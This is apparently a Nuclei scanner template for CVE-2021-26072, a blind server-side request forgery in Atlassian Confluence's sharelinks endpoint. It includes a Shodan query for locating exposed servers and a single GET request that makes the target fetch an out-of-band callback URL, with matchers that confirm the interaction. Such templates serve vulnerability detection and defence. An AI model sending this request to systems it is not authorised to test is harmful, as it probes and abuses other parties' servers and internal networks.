CVE-2021-26072: Atlassian Confluence < 5.8.6 - Server-Side Request Forgery

id: CVE-2021-26072

info:
  name: Atlassian Confluence < 5.8.6 - Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: |
    Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.
  reference:
    - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks
    - https://github.com/assetnote/blind-ssrf-chains#confluence
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26072
    - https://jira.atlassian.com/browse/CONFSERVER-61399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-26072
    cwe-id: CWE-918
    epss-score: 0.066
    epss-percentile: 0.90762
    cpe: cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: confluence_server
    shodan-query: http.component:"Atlassian Confluence"
  tags: cve,cve2021,confluence,atlassian,ssrf,oast,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "faviconURL"
          - "domain"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a316a1867d27baefee187297c44caf9d24d3d4e3e14ca0403127d4d6bb6dea8e0221008ee17fefb400c2e15a4c5311f6873cc8a696ce1b56e8bce737f4bf24f7532365:922c64590222798bb761d5b6d8e72950